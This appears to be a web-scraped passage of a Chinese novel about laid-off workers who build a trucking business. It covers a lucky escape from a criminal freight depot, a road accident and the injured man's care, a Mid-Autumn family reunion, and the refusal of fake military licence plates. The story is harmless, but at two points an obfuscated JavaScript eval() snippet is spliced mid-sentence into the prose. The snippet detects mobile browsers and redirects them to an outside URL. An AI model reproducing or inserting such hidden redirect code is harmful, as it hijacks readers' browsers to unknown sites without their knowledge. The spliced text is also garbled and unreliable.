厚成烧得脑袋直胀，走路有些轻飘飘的。他说好的。他们刚睡着，老板敲门，洪涛开门老板说：“你们俩从来不在服务区房间休息，今天起什么高调？” 洪涛说：“厚成病了休息休息！” 老板满脸不高兴说：”这扯不扯，今天我家小姐可火了，这不没房间了吗，真耽误我挣钱！” 厚成已经眯了一会了，又出了一身汗，身上觉得轻快些说：“我们这就走！” 老板又说：“你们也没脱衣服睡，这也是迷糊一会，走吧，我不要你们的钱，下次来吃饭也不要钱了！”其实老板是撵厚成、洪涛走，倒出房间。他们往外走时，一对男女在门外候着！ 服务区这一类的笑话数不胜数………… 冯文华说，这两辆车还带着养路费，随时能接活。我们这辆车要换几条轮胎，其它没有问题。” 洪涛说：“咱俩认真地检查一遍，需要几条轮胎，配件需要什么，我打电话要配件商店送过来。 洪涛，文华检查车后写个小单子需要换4条轮胎，还有几个车灯，另有几样小配件。洪波，赵云龙也检查车需要换20条轮胎，其余一些零配件，洪波打电话给汽车配件商店需要的材料报过去。并告诉送配件时，顺便带来四挂5000响的鞭炮。 在他们等配件的时间，冯文华、赵云龙主动的把驾驶室玻璃擦得透亮，驾驶室收拾的干净利落。洪涛对洪波说：”我们这两辆车现在都带着养路费，可以随时出车，我打电话给厚成哥，让他问问尤老板，这两辆大车给他们拉无烟煤。大车配不了货，从水泥厂回来放空车也挺合算的，那两台车继续给老货主拉煤。” 洪涛给厚成打了电话，把提车一系列事情汇报后，又说了斯太尔车拉无烟煤的想法。厚成高兴地说：“你们等我电话！” 半个多小时过后，厚成回了电话，说尤老板和水泥厂同意每天两辆斯太尔车送无烟煤。尤老板只说他资金压力有点大，因为水泥厂给他结款慢，但老板尤说认识他们很高兴，都是干事儿的实在人，资金的事，他自己想办法解决，让我们不必担心。 他们悬在心里的问题解决了，洪涛联系了煤矿付煤员老吴，老吴当然高兴说：“这样，他们当天出得煤全能卖掉，祝贺洪涛买了斯太尔车，洪涛你请客！” 洪涛答应：“好好，见面再唠！” 老吴告诉他：“斯太尔载重量大，下坡不好控制，一定要慢放！”洪涛说：“谢谢老吴哥的提醒！” 约好下午2点去装煤，一切都安排妥当，送配件的车来了，带来了修理工，捎来了鞭炮。洪涛，洪波各自验货付了款。这时已经中午了，洪波说：“修理工在干活，我们去吃午饭！” 四个人来到货站附近的小吃部。老板听说哥俩买了斯太尔车笑着说：“真佩服你们，哥俩在货站是龙头小子，车出得顺利，货主多，为人处事讲究……” 洪涛谦虚说：“哪有那么好，都是哥们互相帮扶的。谢谢老板的夸奖！” 服务员拿菜谱过来点菜，洪波问：“冯文华，赵云飞，今天咱们高兴，想吃啥点啥!” 冯文华不客气说：“来一条糖醋鲤鱼，一个家常凉菜！” 赵云飞说：“来个肉段茄子、醋溜白菜！” 洪波说：“我要麻婆豆腐！ 洪涛说：“我来肉炒蒜苔！” 冯文华说：“6个菜够了，六六大顺！” 洪波要4碗米饭，四瓶饮料。服务员问：“为啥这么好的菜不喝酒！” 洪波开玩笑说：“我们钱不够了！”几个人哈哈大笑。 洪涛四个人吃饱喝足回到车场。洪涛的车已经修好，洪波换的轮胎多，还有二条轮胎没换上。洪波让冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987682|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文华，赵云龙打车回家，告诉家人，带着洗漱用品，我们在配货站等你们。洪涛给每人一张五十元钱说：“拿着打车用！” 两个人说：“带着零钱，不用！” 洪涛硬塞给他们。 不到两点，冯文华、赵云龙先后回来，洪波让他们把车开到货站大门外，车头朝着去无烟煤矿的方向，一前一后车摆好，前车摆好两挂鞭炮，后车在车尾摆放两挂鞭炮，货站的司机、还有路人，一些熟人都出来捧场。洪涛看时间到两点，点燃了爆竹，洪波在后听见了鞭炮响，他也点燃了，前后爆竹声声响，闪着光，红红火火，观看的人们鼓起了掌声，祝福着兄弟俩个车行万里，财源滚滚！ 冯文华驾驶着斯太尔车，洪涛坐在副驾位上；赵云龙驾驶着斯太尔车，洪波坐在副驾驶位上，他们一路向前，带起了一片红尘在车尾飞舞，像为他们送行。 一路上，冯文华向洪涛示范驾驶斯太尔车的特点，回来的重车，两位师傅开得小心翼翼，载重60吨的煤加上车本身自重，下山时对驾驶技术是严峻的考验，洪涛、洪波庆幸留下了冯文华、赵云龙两位司机。 两辆车停到了服务区，他们四个人吃饭时，洪波对冯文华，赵云龙说：“两个兄弟，你们的工资我见到厚成哥商量一下！” 洪涛说要找两个司机，洪波说，他也想了没有合适的人。洪涛问冯文华、赵云龙说：“咱们车队的司机还有谁适合？” 冯文华想了想说：“吕祥，前些天我看见他了，他给一个车主出了几天车，说不适合辞了活，现在正在找活！” 洪涛想了想说：“小吕人缘好，车开得好，你联系他吧！” 冯文华说：“给他打传呼！”洪涛把手机递给冯文华等回话。吕祥回电话了，冯文华告诉吕祥，他和洪涛在一起，把事情说了一下，洪涛说请他来一起做长途货运，工资比线上的司机要高一点，因为都是老同事。小吕听了很高兴“洪涛哥，我同意和你们一起干，我心有底！” 洪涛问：“车队还有谁？” 吕祥想了想说：“适合跟着一起干，嗯——杨林也正在找活！” 洪涛说：“杨林行，能吃苦，技术好！你把他的联系方式告诉我，我找他！” 洪涛联系上了杨林，看到洪涛，冯文华、宋厚成、赵云龙都在车上，什么也没说，都是老同事一起干太好了，准备好明天出车。 人都定好了，兄弟俩长出了一口气，洪涛向厚成汇报。厚成连连说：“好，好、太好啦！”厚成告诉他们已经配货了地板砖，车已经出城了…… 俗话说，人和心，马和套；人心齐，泰山移。一路上，冯文华、赵云龙边驾驶着车，边给洪涛、洪波演示什么路况、怎么驾驶斯太尔车，这种车最大的特点是车身长，载重量大，遇到大拐弯避让关键时怎样操作？兄弟俩认真的学习，一路谁也没休息。厚成、传亮到方正服务区打电话告诉洪涛说，半个小时后，他们能到。 厚成、传亮加完油，洪涛，洪波到了，车停好后，四人跳下车，厚成过来握着冯文华的手说：“兄弟，谢谢你！”又握着赵云龙的手说：“兄弟，谢谢你！”自从下岗后他们第一次见面，很亲切！ 厚成又介绍了传亮。然后，他们围着两辆斯太尔车转了一圈。传亮高兴地说：“买这两辆斯太尔太值得了，用不上一年能把本钱挣回来！” 厚成说：“到服务区餐厅休息一会儿，大家唠唠嗑。六个人不太饿，洪波要了二只烧鸡，一些饮料，还要一大把羊肉串，6个烧饼。几个人洗完手坐下，洪涛说：”这是西餐呀！“哈哈哈哈！大家笑了起来。 厚成端起饮料对冯文华，赵云龙说：”二位兄弟，欢迎你们加入我们这个队伍，以后我们还要像在单位一样的是一家人，把我们这个事业干好，为咱们下岗人争光！” 六个人一起干了一杯饮料。 洪波说：“来，把现在桌上的好吃好喝全部干掉！” 六个人边吃边喝边唠长途货运业务方面的事情，保养车辆方面的内容。厚成问冯文华，赵云龙：“在车队开斯太尔车工资是什么标准？” 冯文华回答说：“有基础工资，还有计件工资。基础工资每个月2000元，计件工资按公里数每公里一元，总的每个月4000元，吃饭，住宿是自己掏钱。” 厚成叫洪波，洪涛说：“咱们商量一下！” 三个人来到门外厚成说：“怎么给他们工资？” 洪波说：“九米六30吨的车司机工资是三千五百元，他们车队斯太尔60吨的车月工资给四千元，不管吃住。我们车活多，没有休息，月工资给四千五百元，管吃住，怎么样？” 洪波说得合理，厚成、洪涛完全同意。他们又要了一些牛肉串，厚成他们回到桌上说：“文华、云龙，我们是这样想的，月工资4500元，管吃住，你们看怎么样？” 云飞、文华都满意地点点头回答：“我们同意！” 洪涛补充说：“春节还要发红包呢！” 厚成说：“今后我们捆在一起，大干一场，为咱下岗人争光，为了家人过好日子干杯！”六个人站起来举杯共同干杯！ 洪涛对厚成说：“哥，你跟斯太尔车去水泥厂，我回煤城卸地板砖。” 洪波说：“卸地板砖时联系那二位司机，然后你们去铁东煤矿装煤，呼兰的白厂长打电话催了要送煤。” 他们六个人各自上车向两个方向前行…… 这一天，无烟煤矿井下检修没有生产，煤矿付煤员老吴通知厚成两天以后才能生产，现没有煤装车。冯文华对厚成说：“我们现在装不上车、拉不了煤，我们就不能着急放空车往回跑，到货站看看能不能配货回去！” 厚成说：“斯太尔车进城装货场地受限，我们到公路附近的货站问一问，有没有货。” 冯文华驾驶车下了高速，到公路边慢行一段，发现了一个配货站，把车开到货站，有两辆货车停在那里。他们俩从车上下来，锁好车门，朝配货站走来，到门口从里面出来两个人，他们脸色很难看，像是遇到了什么事？厚成、冯文华互相看了一眼，他们进了屋，看到屋里有?四?个人站在那里，脸面上表情凶巴巴的，看到他们都不说话，然后这四个人从后门出去了，厚成、冯文华感到气氛不和谐。他们看到老板台上放了几部电话，一个瘦高脸色苍白的40多岁男人坐在椅子上吸着烟，身后墙上挂着一个猛虎下山的大画。冯文华走到桌子前问老板：“我们车是斯太尔车，有没有货装？” 老板看了他俩一眼，嗯！哼了一声：“斯太尔车想配货，我找一下信息！”然后翻起一个本子，翻了一会儿说：“还真有一车货，40台电机从物资局仓库装车，到煤城的旧物市场卸车，给二千元运费，冯文华看厚成说：“这个活可以接。”厚成心想，空车也是跑，挣点过道费和油钱没白跑。答应：“我们拉货。” 配货站老板伸手拿个合同说：“你们签一下合同。”厚成看到老板的手瘦得像鹰爪一样，苍白苍白的，感觉到这个人怎么像吸毒的，一种不祥之兆油然而生。厚成看了一眼合同，和其他货站一样格式，签完字，从兜里掏出二百元钱信息费放在桌上。 老板看了一眼说：“我们要押金四千元。” 厚成把二百元拿起来说：“我们配货从来没有交过押金。” 老板说：“我们这货贵重，货物你们拉跑了怎么办？” 厚成这时看到刚才在屋里站着的三个人像司机从后门进来，一个个脸色难看，出了房门，另外四个人不像司机跟着出去了。站在屋子里的两个人离他和冯文华很近，也不像是司机，厚成判定来到“黑配合站”。 厚成急中生智地说：“老板我们钱在车上，我们去取！” 冯文华这时也反应到有问题了。他俩大步的走出房门，那三个人跟着出来，他们俩快走到车前打开车门锁上车，冯文华立刻发动车开出了院子。这时，三个人像疯子一样奔跑过来，手里露出尖刀凶器，其中一个跑得最快的人追了过来，跳上踏板拍打车窗命令他们停车。 这时是早晨五点多了，前面是个早市，路旁边是卖菜的小商贩，买菜的人熙熙攘攘，道路只有一辆车宽。厚成担心地：这么大个车能开出去吗，别碰着人。但为了逃命只有一个信念——快跑出去！ 冯文华按下高音汽笛，附近的人感到震耳欲聋，惊吓地骂道：“妈的，这么大的车跑到早市来！”“这车疯了，快躲开！”刺耳的汽笛声促使着买菜的人纷纷地靠边让开路。冯文华很稳地开着车往前奔跑，厚成指挥着冯文华冲出了人流，上了高速公路。厚成对踏板上那个站着男人说：“我们减速你下去吧！” 那个男人硬气地说：“你给我一百元钱，我下去！” 这是敲诈勒索，厚成喝道：不能给你钱，你这样站的很危险，赶紧下去！” 那个人改变了态度哀求地说：”你不给钱，我回去老板会打死我的！” 说着，车跑出了很远。厚成想，这个人站在踏板上很危险，从兜里掏出一百元钱让冯文华减速把钱从车窗递给那个人。 那个人跳下了车，他们俩一路快跑，快到了加油站，冯文华说：“不停车，不能在这里加油，我们到下一个服务区加油！”怕“黑配货站”的人追上来。到了下一个服务区，他们加完油，没有吃饭，又开始跑，饿了吃点车上的的面包，两个人说到最后一个服务区饭店吃饭，然后回煤城配货站院里检查车。 到了饭店服务员见到他俩调皮问：“你们怎么这个时间来吃饭，是出城还是进城？” 冯文华逗着说：“我们也不知道啊！” 厚成说：“做点省事的菜，要了2碗米饭！” 等菜的时间，冯文华出去看了看，有没有可疑的车跟上来？观察了一会没有见可疑的车追来，冯文华心才安定下来。他俩已经饿了，狼吞虎咽地一会就吃完了饭，休息一会儿，他们还惊魂未定的想着那惊魂动魄的惊险场面，赞扬自己智商高，反应灵敏，快速地逃离了“黑配货站”，不然挨揍不说，钱可能都被洗劫啦！ 冯文华说：“唉，还损失了一百元钱！” 厚成说：“那种情况只能给他钱了，他站在踏板上出了事，我们还要负责任！” 上车后，冯文华说：“宋哥，这就是好人怕坏人！” 厚成说：“吃亏的、有证据的人应该去报案，铲掉那“黑配货站！” 厚成联系了无烟煤矿老吴说明天生产，明天晚上去装煤。 这次经历他们告诉所有路上的朋友，以免上当受骗…… 12. 第十二章 洪涛，洪波他们有4辆车、8个司机，甩开膀子大干了二个月，厚成和洪涛每人带一辆车，他们没有时间报账，装卸车的时间凤珍、王玲去现场算账，给他们送去换洗的衣服。孩子们有意见了，他们吵着问妈妈，这么多天没有看见爸爸，想爸爸啦！，做梦老是和和爸爸在一起……凤珍给厚成和洪涛打电话，让他们抽空回家，孩子们要造反啦！厚成和洪涛答应了，这几天一定回家看看孩子们。 这一天凌晨凤珍的手机响了，是洪涛打来的电话：“车肇事了，在北兴农场撞伤了一个人，现在120救护车正在拉着伤者去市医院，嫂子你和王玲去医院，我开着重车去配货站，然后再去医院！” 凤珍问：“伤者什么情况？” 洪涛说：“脚后跟受伤流血过多，已经昏迷，你们别急，感觉没有生命危险！” 凤珍带着钱去叫王玲，王玲把小刚叫起来送到凤珍家，两个人开车去市医院。 她们刚到市医院停下车，听到乌拉乌拉的急促喇叭声，看到闪烁着红蓝色光的120救护车到了。 救护员用担架抬伤者到了急诊室。 凤珍急问：”是在北兴农场交通肇事的吗！” 救护员回答：“是的！” 王玲随着救护员来到了抢救室门前，一个男护士把伤者的脏衣服脱下来交给凤珍，让凤珍去办理住院手续。凤珍从伤者衣服的口袋里掏出了身份证，伤者男性45岁，是煤城附近的乡镇农民。凤珍去办理手续，交了五千元押金。 凤珍回到抢救室，王玲说：“伤者已经被抬到手术室去了！” 她俩来到手术室门口，只见护士大夫穿梭似的进手术室，护士推了一车的器材进了手术室，王玲拉凤珍做的椅子上。她们急得流下了眼泪。护士过来安慰他们说：“家属不要急，医生们准备手术，伤者是创伤，不会有大事，放心吧！”护士边说边进了手术室。 伤者进手术时已经2个多小时了，凤珍和王玲焦急在等待。一会儿，一位医生从手术室出来轻声地喊着：“家属过来一下！” 凤珍和王玲立刻过来问：“医生什么事？” 医生说：“脚脖骨折了，通过手术能治疗恢复。可是脚后跟骨头已经粉碎，骨头和肉搅合在一起，现在即便是保留，也不会愈合，发炎的可能性极大，治疗的时间长，风险太大！” 凤珍问：“你的想法是？” 医生说：“把这个伤脚截掉，这样恢复得快！” 凤珍听后说：“医生，伤者才45岁，正是壮年，如果没有了一只脚，他是残疾人了！我们不是家属，我们是车主，伤者现在昏迷联系不上家属。我的意见是医生你们尽力给他保住脚。如果治疗过程有什么情况再想办法！” 医生说：“有可能会花很多医药费，可能最后还要截掉！” 凤珍说：“先不考虑钱的问题，先考虑保留脚的方案！” 医生很受感动说：“既然你这个态度，我们先保住脚！”说完进了手术室。 洪涛来到了手术室门前，凤珍把刚才医生说的情况告诉了洪涛。洪涛赞成嫂子：“你这么做太对了！我们不怕花钱，只要有希望，一定要给他保住脚！” 天已经亮了，凤珍让王玲回家照顾孩子们上学的事，然后去公司。将近七点，医生们疲惫地从手术室出来，凤珍和洪涛连声说：“谢谢医生，你们辛苦啦！” 医生摘下了口罩说：“听了你们的意见，我们给他恢复脚跟的骨头很复杂，骨头个要一块一块的的对上，所以用了这么长时间。但愿伤者能保住这只脚！” 洪涛说：“谢谢医生！你只管用最好的药，不要考虑钱，钱是人挣的，一定要保住这只脚！”医生重重的点点头。 伤者被送进了病房，反应有些意识。凤珍、洪涛忙前忙后，洪涛买来了洗漱用品，凤珍打来水，用毛巾给伤者擦擦脸，擦擦手，洗了那只没受伤的脚。洪涛帮着挪动伤者身体。看着凤珍对这个素不相识的人的一片爱心，一点都不嫌弃病人，不知道的以为她是伤者的家属呢！ 凤珍打电话给王玲，让她到商场给伤者买些日用品，买两套内衣送过来。 将近十点，农场交警队来了，两名交警看到伤者已经手术过了，然后又找洪涛谈了事故经过，交警说：“伤者过横道不瞭望，脚撞到车的后轮骨，头碰到车厢板，伤者他是主要责任者，你们车下坡又是重车，速度有点快，负次要责任。考虑他是农民，车有保险，你们尽量多承担费用！”然后说：“我们已经见到医生了，救治得及时，治疗方案也稳妥。你们车主也是有责任心的，有爱心的人，我们放心了，伤者醒了你们负责通知他的家属。他的家属来了，你们不用护理，医药费需要你们垫付，最后出院有保险公司按交警队认定的结果给你们理赔！” 洪涛、凤珍听到交警公正的评价，心里暖暖的，洪涛说：“交警同志放心吧，我们会按照你的要求去做！” 两位交警说：“还有别的案子我们告辞了！” 8个多小时过去后，伤者完全醒了过来，伤者是位朴实的农民，在农场里面煤矿打工，临时有事搭个货车来农场，下车要小便，尿完尿后转身过道，这时洪涛驾车过来了，这位农民撞到后轮骨。伤者说是自己过道没有瞭望，明白自己的责任大，一脸的歉意！凤珍问他家里人的联系方式，他告诉儿子在宝清县一中学校当老师，联系电话号码在家里。凤珍通过114台查找到了儿子单位的电话，联系上了他儿子，简单告诉他父亲受伤的过程及伤势情况，让儿子和他妈一起来医院，由于路途远他们最快也得明天上午到医院，儿子希望凤珍她们还要护理他父亲，等他们到来！说话很客气。凤珍说：“放心吧！一定能照顾好他父亲！” 伤者点滴一夜没停。凤珍和洪涛又是喂水，又是喂饭，接尿接屎。晚上8点多，王玲来换凤珍儿回家，夫妻俩在医院护理伤者。病房里的患者都很敬佩他们的人品，有个患者说：“我的病好了，一会儿回家去睡觉，你们在我这个床上换着休息！” 洪涛说：“这么晚你回家不安全！” “我家在医院家属区，十分钟就到家了！”说着离开了病房。 王玲感慨到：还是好人多呀！ 第二天上午，伤者的家属来了，护理的事家属接了过来。 伤者住院期间，凤珍、王玲每天去一趟医院，给伤者带去生活用品，还有时给伤者带去熬的骨头汤，伤者和家人很受感动。不知情的人认为她们是亲属呢！ 二个月后，伤者的其它创伤都好了，只是脚跟一直不长皮组织。林医生有些失望，担心感染，前功尽弃，查房时和几位医生交流。 医生们尽心尽力的治疗，四个月后脚后跟还是不长皮。凤珍去医院见到林医生问：“还有没有什么办法治疗？” 林医生说：“手术时就想到会有这样的情况，你坚持保留脚，我们也尽力了。我也反复地查找资料，请教老师，现在还有一个方法……” 凤珍一听有办法立刻精神振奋了起来问林医生：“你说什么办法，只要我们能做到，我们一定支持！” 李医生说：“要从伤者大腿处取一块皮肤贴在脚后跟的部位，如果皮肤能够成活，脚就能保住。这需要多住二个月院，要保证不发炎，还要多花一些医药费！” 凤珍听后马上说：“林医生，你只是大胆的治疗，不怕花钱，不会因为花钱放弃治疗！” 林医生说：“我这病房多数都是交通事故的患者，有的车主让我给省钱，不要给伤者用好药，我呸！他们的良心让狗吃了，钱迷住了心……我知道你们是下岗工人，人品好，不愧为工人阶级，到啥时候都是大写的人！” 一周后，林医生为伤者做了皮肤移植手术，由于医生护士的共同努力，二个月后伤者痊愈出院了，只是走路受伤的脚有点笨。医生说，回去锻炼一段时间会康复的。所有的人都为伤者高兴，因为他没有残疾，是一位正常的人。治疗费用花了四万多元，保险公司理赔后，凤珍他们花了一万多元。 发生这次事故后，厚成他们8个司机认真吸取事故教训，更加重视安全行车，互相提醒，互相监督。无论是车、还是人，从不带病出车。天气不好，视线不清，到服务区休息…… 中秋节来到了，厚成提议，洪涛、洪波一致同意决定放二天假，回家过中秋节看望老人。凤珍、王玲也同意。这两个月效益好，他们给冯文华、赵云龙、吕祥、杨林每人发了五百元红包，大家高高兴兴地回家过中秋团圆节了。记账公司放了三天假。 凤珍开车，厚成、小凯、小丹一家四口人回到“革命摇篮”的老家，路过农贸市场，买了很多副食，水果，备箱已经塞满了。 到了家门口，四位老人、弟弟，妹妹在院子里迎接他们。大家见面，高兴地打招呼。厚成自正月初二家庭聚会后，今天才见到四位老人，他拉着两位父亲的手，久久没有松开。宋凤桐看着厚成瘦了，头发出现白丝心疼地说：“厚成你累成这样哦！”看着嗮黑的脸色，手上长出老茧，拍一下厚成的肩膀：“很结实哦！” 两位母亲一脸的怜爱地看着儿子女婿问：“厚成，路上吃的顺不顺口，要不要做点煎饼带着路上吃！” 厚成说：“两位妈妈，你们不用惦记，路上的服务区，跟家里一样放菜可口。明年6、7月份不忙时，要带着四位老人坐自家的车去省城逛逛，然后到服务区吃饭，四位老人高兴得哈哈大笑：“好，好好，一定去省城！” 弟弟摘了大秋果，黄太平果说：“今年的果树结的果又大、又甜，挑大的一直留在树上等着大哥全家回来吃！” 今天的家宴主厨是玉林，秀娟负责凉菜，素兰负责热蒸菜，食材以鸡，鸭、鱼肉为主，四位老人商量的菜谱6道凉菜，16道热菜，4个蒸菜，这些食材主要是自家产的，全是绿色食品。厚成妈妈重点强调，蒸杂鱼，是两位老爸亲自在河里钓的小柳根、小鲫鱼，小泥鳅，是厚成最爱吃的。告诉蒸时要放点酱，放点醋，猫把蒿，这样蒸得鱼不腥！ 负责摆桌的小弟、小妹摆好了3张桌子，上齐了餐具，做好的一道道菜摆上桌。今天的天气格外晴朗，天高云淡，微微的秋风送来了丝丝的凉爽。天空的云彩，白里透蓝，一团团地、慢慢地飘着，好似俯瞰人间的秋色。南飞的大雁一行行，一排排，有时变化着队形，像是在表演比赛，时不时传来嘎嘎地欢乐叫声…… 厚成娘看人已经到齐了，菜已经摆满桌子说：“开席吧，咱们边吃边喝！” 四位老人挨着坐，厚成、凤珍坐两边，其他兄弟姐妹，依次坐好。主厨的最后一道大菜锅包肉上桌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987683|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤珍妈妈说：“今天中秋节是一家人团圆的日子，孩子们都回来了，全家人高兴，共同干杯！” 两位老爸喝的是白酒，其他人喝饮料，大家举杯说：“中秋节日快乐！”一家人边吃边说着话其乐融融。 厚成说：“首先祝四位老人身体健康，弟弟、妹妹、弟媳和妹夫，孩子们中秋节日快乐！我们夫妻下岗后，弟弟妹妹、弟媳和妹夫都伸出手支持我们创业，这不是仅仅是物资支持，重要是精神上的支持，我们有一个大家庭，四位老人和这么多的亲人关心，扶持我和凤珍走过一道道坎……”讲着做长途货运，一路洪波、传量的无私帮助。买车凤珍同学万红英担保，行车中风雨天气交警们保驾护航……厚成说着激动的流下了眼泪。继续说：“当时下岗我心里还有怨气，觉得政府不公，这一年来的经历，我看到了人间自有亲情在，政府也为百姓做了很多事情，现在政策让每个人都能发挥才干，都富起来，创造自己的幸福生活……” 凤珍说：“我们已经走出困境，如果家人有需要帮忙帮助的，一定要说，大哥大姐会全力帮助。” 四位老人高兴地点点头，凤珍妈妈夸姑爷厚成能吃苦，有自信。厚成妈妈夸儿媳凤珍能张罗，脑瓜灵。也夸所有的孩子的优点…… 晚上，厚成、凤珍还有留下来的弟弟妹妹、所有的孩子们陪着四位老人赏月。院子里桌子上有四个大方盘子，切好的砂糖西瓜放在一个大方盘里；大红苹果，浅黄鸭梨，绿色马奶葡萄，紫色玫瑰葡萄放在一个方盘里；金色的橘子红的发紫的大秋果，红绿透黄的123果，甜菇娘、红菇娘放在一个盘子里；多种馅儿的月饼放在一个盘子里；月饼有许多种味，有莲蓉蛋黄的味道，有红豆的味道，有五仁的味道……桌上有茶水，有饮料。一家人围着桌子旁，微风轻轻的吹来，又凉快又舒服，看到冉冉升起的月亮多么美丽的圆月啊！它慢慢地升入蓝色的天空，月亮把半边天都照亮了，孩子们兴奋了起来，纷纷地站起来指着月亮里的嫦娥，玉兔、吴刚大声地招呼：“快下来啊，我们准备了这么多的好吃的，来和我们一起吃啊！和我们一起玩儿啊！”几个还说不明白话的小孩子，兴奋的蹦蹦跳跳。四位老人看着月亮，高兴地和儿孙们分享着供月的水果月饼，边吃边品尝月饼的味道，小凯带领孩子们朗诵李白诗句：“小时不识月，呼作白玉盘。又疑瑶台镜，飞在青云端……”全家热烈鼓掌…… 风珍、厚成告诉小弟，说他们回家了，悄悄的走了。 厚成、凤珍回到家，从车上拿出两个妈妈煮好的鹅蛋，炒好黄瓜肉丝咸菜，说是让厚成在出车的路上和司机们一起吃下饭，他们心里暖暖的，祝福父母长命百岁，厚成感到有父母疼着真幸福！ 厚成和凤珍洗脚、洗漱完后上床休息。厚成搂着凤珍亲切地说：“珍，有多少天没有亲着你啦？想吗？！” 凤珍笑着回答：“忙得都想不起来了！” 夫妻两个人闹着、滚了起来，久别的新婚…… 早上8点多，两个人才起床，凤珍把妈妈给带来的菜和馍热了，做了大米粥，吃完饭，洪涛、王玲如约来到了凤珍家要开会。 凤珍拿出了日记本，首先汇报了记账公司的运营情况，很喜人，人员稳定，客户稳步增加。为了今后的发展，现在需要考虑买个办公室，省去租金，积累固定资产，这也是王玲的想法。 厚成、洪涛同意她们的意见。 两辆车经营的情况：30吨的货车利润还贷款正常，斯太尔收入高，费用也高，预计两年能收本没有问题。节后要做的工作，厚成、洪涛要检车修车，准备车辆冬季防寒材料。 厚成说：“天气渐凉，冬天很快来了。你们俩每天往单位跑，孩子们上学离学校远，我们要考虑改善居住条件，在市里贷款买两套房子。”洪涛说：“哥说的我赞同。” 王玲接过说：“市二建公司开发的房子已经交工了，是现房。小区里有小学、社区医院、超市……楼房集中供热，出行道路好，我同意贷款买两户房子。” 风珍说：“我们现有的资金交两户首付款没有问题，后期的月供有记账公司和两辆货车收入的支撑，压力不大。” 四个人一致同意贷款买两套房子。 他们开车去了市二建公司开发售楼处。这时是售楼的黄金季节，又是假期，买房看楼的人群熙熙攘攘。售楼姑娘热情地接待，详细地介绍开发楼的位置、交通、学校、商场、户型、供暖、供水、环境建设……听说要买两户离学校近的，售楼姑娘推荐了A楼一梯二户四楼，86平方米，两室一厅，大家讨论一会，一致同意买A楼四楼一梯二户，因为是现房，售楼姑娘带他们去现场看一下房子。来到楼房，无论是楼房的位置还是楼房的设计四个人都十分满意。回到售楼处，风珍交了两户房子的定金。 这时到了中午了，四个人在附近的小吃部边吃饭、边讨论研究装修房子的事情。厚成说：“我和洪涛出车，你们记账公司也忙，装修时让两个弟弟照看，我们现在住的房子卖掉！” 凤珍说：”你和洪涛放心出车吧，家里的事情包括房子装修我和王玲会安排好的！” 四个人吃完饭，凤珍和王玲回到记账公司。 厚成和洪涛去配货站检查两辆车，写下要买的配件明细，让配件商店备货，下趟回来修车。 13. 第十三章 初冬时节，早晚天气冷了，白天下雨，晚上路上开始结冰。洪涛驾驶着斯太尔继续去水泥厂送无烟煤。到哈城下了高速，拐弯进公路时，方向盘打舵不听使了，刹车轮胎不转车还继续向前滑动。灯光下路面结了一层冰，像镜子一样光滑、晶莹锃亮。冯文华指挥洪涛打顺舵靠上坡车才慢慢地停下来。洪涛叹了一口气说：“唉，好险啊！”洪涛下车直接就滑倒了，冯文华脚下也站不住，滑出了几米远。 冯文华说：“路面结冰了，车不能走了，等太阳出来冰化了我们再走吧！”车停下来，车尾十五米处放了道路警示牌，他们在车里守候。 长途货运最大的杀手，就是雨雪天气，遇到这样的天气，无论车上装什么货，货主有多么急，驾驶员都要把车开到服务区等候。 斯太尔车运费收入高，各种费用也高，从煤城到哈市往返过道费，上千元。在服务区经常看到挂军车牌照的斯太尔免交过道费。有个姓黄的老板也是煤城人，他开着挂军牌的斯特尔车，每个月要比洪涛他们少干跑五六趟，可他总是牛哄哄地对洪涛和冯文华显摆地说：“你们跑得多，可没有我挣的钱多，我是挂军牌的军车，啥费用也没有，除了烧油、修车，剩下是纯利……我每个月都要在服务区搂着小姐睡几宿……”其实，老黄不是吹牛，是真的。 冯文华忍不住说道：“哥们有路子，能不能帮我们也办个军牌？” 老黄来精神了说：“洪涛、冯文华你们都瞧不起哥们我，这回哥们给你们露一手，你们准备四万元钱，我给你们两辆斯太尔都挂上军牌。 洪涛笑了笑说：“谢谢哥们，我们要商量商量，给你回话！”老黄给冯文华留了联系电话号码。 洪涛、冯文华一路上议论这个挂军牌的事情。洪涛说：“洪波在路上时间长，听听洪波的意见！” 洪涛给洪波打了电话，说了老黄给咱们两辆斯太尔办理挂军牌的事情。 洪波立即回答说：”老黄的车挂军牌有可能是假的，如果被军检抓到了，车会毁掉处理的！” 厚成接过电话说：“不行，咱们斯太尔车费用是高，但也不能想歪门邪道，以后不要联系那个老黄！”厚成经常告诫大家，要堂堂正正做人、做事，违法乱纪的事情坚决不能去做。 果然半个月后，洪涛他们在收费站看到军检把老黄的车扣下、强行开走，原来是老黄做了一套沈阳军区的军车假牌照。老黄的车被销毁了，此后服务区再也看不到老黄的影子。驾驶员们在服务区当笑话说：“老黄出车从不检查车，辆轮胎瘪了也不换，最严重的有一次轮胎甩到了高速公路边上的农田地里，把农民的庄稼毁坏了一大片，农民他赔偿，他耍无赖地不肯赔偿。农民报了警，老黄被罚了款。老黄彻底破产了，最后大家总结做人，必须踏踏实实，堂堂正正的。不能投机取巧，最后害了自己。 